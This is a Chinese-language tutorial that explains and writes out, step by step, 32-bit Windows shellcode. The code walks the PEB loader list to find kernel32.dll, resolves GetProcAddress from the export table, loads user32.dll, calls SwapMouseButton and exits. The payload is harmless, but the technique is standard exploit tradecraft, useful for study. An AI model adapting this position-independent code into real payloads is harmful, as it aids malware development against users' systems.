第零步
首先我们需要有一些预备知识:
1、FS寄存器在Windows操作系统中通常被用来指向线程环境块(Thread Environment Block,TEB)。每个线程都有一个独立的TEB,其中包含了线程的特定信息。通过FS寄存器指向TEB,可以方便地访问线程的上下文信息。
2、在Windows操作系统中,每个进程都有一个PEB,它包含了进程的特定信息。而每个线程都有一个独立的TEB,其中包含了线程的特定信息。在32位Windows系统中,FS寄存器指向TEB的起始地址,而在64位Windows系统中,GS寄存器指向TEB的起始地址。通过访问TEB的偏移量0x30处的值,可以获取到PEB的指针,从而进一步访问PEB中的信息。
3、PEB(Process Environment Block)结构体中的第12个成员是一个指针,指向进程的Loader数据结构。这个成员在PEB结构体中的偏移量是0x0C。Loader数据结构(也称为LDR数据结构)是Windows内核用于管理加载的模块(如DLL)的数据结构。它包含了加载的模块的信息,如模块的基址、入口点、导出函数等。通过PEB中的LDR成员,可以访问到当前进程加载的模块的信息。
4、在Windows操作系统中,PEB结构体中的LDR成员指向一个链表,该链表存储了进程加载的模块(如DLL)的信息。这个链表被称为模块初始化链表(Module Initialization List),也被称为InMemoryOrderModuleList。在这个链表中,按照内存中的顺序存储着已加载的模块的信息。第一个结点是ntdll.dll,第二个结点是kernel32.dll,这是因为这两个模块是Windows操作系统中的核心模块,在进程启动时就会被加载并初始化。而其他模块则根据它们被加载的顺序依次排列在链表中。
第一步
具体结构图如下:
故我们可以编写代码,从FS寄存器入手来找寻kernel32.dll的基址:
xor ecx, ecx
mov eax,fs:[ecx + 0x30] ;在FS寄存器(TEB)中的0x30偏移处获得PEB的指针
mov eax, [eax + 0xc] ;在PEB结构体中的第0xc的偏移处获得LDR指针
mov esi, [eax + 0x14] ;在的0x14偏移处获取到模 块 初 始 化 链 表InMemoryOrderModuleList
lodsd ;从ESI寄存器指向的内存地址读取一个32位,将其存储到EAX寄存器中。ESI寄存器的值自动增加32位
xchg eax, esi
lodsd
mov ebx, [eax + 0x10] ;获取到了加载基地址
这个地方是比较难懂的,可以通过下面的图来理解:
图中的ABC是所在结点指向下一个节点的指针
我们标黄的第一句指令mov esi, [eax + 0x14],此时esi的值就是我们图中标的A,也就是该节点指向写一个节点的地址,也就是B的地址
在执行完lodsd后将esi寄存器中的值(A)指向的内存地址读取一个32位,也就是将B读取了出来,交给了eax,之后交换,xchg eax, esi,此时esi的值为B,下面再次执行lodsd,就将esi寄存器中的值(B)指向的内存地址读取32位,即将C读取到eax中,此时eax指向我们最后一个kernel32.dll节点的首地址,之后偏移0x10就找到了我们的加载基地址。
第二步
此时ebx中存的就是基地址,通过下图可以清楚的知道获取函数名称表的位置
从现在开始的所有可用地址均需要使用基址加偏移,基址就是ebx的值
mov edx, [ebx + 0x3c] ; EDX = DOS->e_lfanew
add edx, ebx ; EDX = PE Header
mov edx, [edx + 0x78] ; EDX = Offset export table
add edx, ebx ; EDX = Export table
mov esi, [edx + 0x20] ; ESI = Offset names table
add esi, ebx ; ESI = Names table
xor ecx, ecx ; EXC = 0
下面解释一下我对通过函数名找寻地址的看法
首先通过在名称表中找到对应的名称,下面这段代码是首先ecx自增一,之后将esi寄存器的值指向的内存空间读到eax中,也就是此时eax中存的是第一个函数名称的前四个字节,与 "GetP"进行比较,若一样则向下继续判断,若不一样则说明不是当前这个函数,跳到”Get_Function:”继续执行,这里特别强调一下lodsd指令有两个功能,一是从ESI寄存器指向的内存地址读取一个32位,将其存储到EAX寄存器中。二是ESI寄存器的值自动增加32位,也就是当第一轮执行之后,esi中放的是下一个函数名称的地址,继续将其指向的内存空间的前四个字节送到eax中(也就是函数名称列表中的第一个函数名称的前四个字节),同时esi加4,指向了第二个函数名称的地址,一直向后比对,直到每个字节都比对成功后,此时的ecx中存的就是目标函数在函数名称列表中的位置
Get_Function:
inc ecx ; Increment the ordinal
lodsd ; Get name offset
add eax, ebx ; Get function name
cmp dword ptr[eax], 0x50746547 ; "GetP"
jnz Get_Function
cmp dword ptr[eax + 0x4], 0x41636f72 ; "rocA"
jnz Get_Function
cmp dword ptr[eax + 0x8], 0x65726464 ; "ddre"
jnz Get_Function
第三步
之后我们需要根据这个位置在序号表中寻找其在地址表中的序号,进一步查询地址表获取其地址,在这里我们要注意,序号表的第一个表项为空,也就是名称表的第0个函数在序号表中的位置在第一个而非第0个,所以在序号表中直接用ecx乘2去寻找目标函数的序号,而地址表中的地址对应的序号是从0开始,故要ecx减1,一个地址是32位,所以乘4,最终获取到目标函数相对地址加ebx后为真实内存加载地址
mov esi, [edx + 0x24] ; ESI = Offset ordinals
add esi, ebx ; ESI = Ordinals table
mov cx, [esi + ecx * 2] ; CX = Number of function
dec ecx
mov esi, [edx + 0x1c] ; ESI = Offset address table
add esi, ebx ; ESI = Address table
mov edx, [esi + ecx * 4] ; EDX = Pointer(offset)
add edx, ebx ; EDX = GetProcAddress:
第四步
接下来我们需要用 GetProcAddress函数获取LoadLibrary函数地址,当涉及到函数调用时,栈空间必不可少
xor ecx, ecx ; ECX = 0
push ebx ; Kernel32 base address
push edx ; GetProcAddress
push ecx ; 0
push 0x41797261 ; "aryA"
push 0x7262694c ; "Libr"
push 0x64616f4c ; "Load"
push esp ; "LoadLibrary"
push ebx ; Kernel32 base address
call edx ; GetProcAddress(LL)
当执行完上述指令后,栈空间如下图(此处ret意思是步入该函数):
从栈空间可知当调用 GetProcAddress函数时参数为ret高地址的两个32位字长
第五步
接下来我们可以使用上一步获取的LoadLibraryA的地址来加载user32.dll
我们后期调试中可以看到在调用GetProcAddress前的参数压栈情况
在步过之后,发现在执行完call命令后esp将其参数跨过,指向压参数前的位置,我们要将压入的“LoadLibraryA”字符串跳过,故第一条指令是“add esp, 0xc”用于栈平衡(将垃圾数据弹出)
并且此时eax中存的是GetProcAddress的返回值,也就是LoadLibraryA的地址,我们获取到后压栈
由于后续要改变ecx的值,所以我们先保存ecx的值,再将“user32.dll”字符串作为LoadLibrary的参数压栈后调用LoadLibrary函数
add esp, 0xc ; pop "LoadLibraryA"
pop ecx ; ECX = 0
push eax ; EAX = LoadLibraryA
push ecx
mov cx, 0x6c6c ; "ll"
push ecx
push 0x642e3233 ; "32.d"
push 0x72657375 ; "user"
push esp ; "user32.dll"
call eax ; LoadLibrary("user32.dll")
在执行完上述指令时栈空间如图所示(此处ret意思是步入该函数):
第六步
在获取到user32.dll的基地址后,就可以在其中获取目标函数SwapMouseButton,我们在执行完“call eax ; LoadLibrary("user32.dll")”前后栈空间如图,同时user32.dll的地址保存在eax中
在执行完add esp, 0x10后清理栈空间,esp指向我们保存的 LoadLibrary的地址
在清理完栈空间后,我们就重新获取到GetProcAddress的地址,用其在user32.dll中找到名为SwapMouseButton的函数并将其地址放在eax中
;6. 获取SwapMouseButton函数地址
add esp, 0x10 ; Clean stack
mov edx, [esp + 0x4] ; EDX = GetProcAddress
xor ecx, ecx ; ECX = 0
push ecx
mov ecx, 0x616E6F74 ; "tona"
push ecx
sub dword ptr[esp + 0x3], 0x61 ; Remove "a"
push 0x74754265 ; "eBut"
push 0x73756F4D ; "Mous"
push 0x70617753 ; "Swap"
push esp ; "SwapMouseButton"
push eax ; user32.dll address
call edx ; GetProc(SwapMouseButton)
执行完这段代码后的栈空间
这段代码最终获取到了目标函数地址
第七步
当我们获取到SwapMouseButton地址后我们查阅SwapMouseButton的使用规则后构造栈空间,调用这个函数
当执行完“add esp, 0x14”后栈空间如下图:
add esp, 0x14 ; Cleanup stack
xor ecx, ecx ; ECX = 0
inc ecx ; true
push ecx ; 1
call eax ; Swap!
上述代码执行后,栈空间如下图ecx(1)即为函数参数
第八步
最后出于职业规范,我们需要调用ExitProc函数,在清理栈空间后,我们发现 LoadLibrary已经没用了,故不在栈空间内
add esp, 0x4 ; Clean stack
pop edx ; GetProcAddress
pop ebx ; kernel32.dll base address
mov ecx, 0x61737365 ; "essa"
push ecx
sub dword ptr [esp + 0x3], 0x61 ; Remove "a"
push 0x636f7250 ; "Proc"
push 0x74697845 ; "Exit"
push esp
push ebx ; kernel32.dll base address
call edx ; GetProc(Exec)
xor ecx, ecx ; ECX = 0
push ecx ; Return code = 0
call eax ; ExitProcess
两次call的栈空间:
经过上面的分析已经将shellcode分析的十分透彻,我们接下来简单实验一下:
首先编写C程序并将其编译:
生成的exe使用IDA打开并找到我们的第一行代码:
以及最后一行代码,并记住其对应地址:
打开十六进制窗口
将其复制出来后,写C程序执行即可: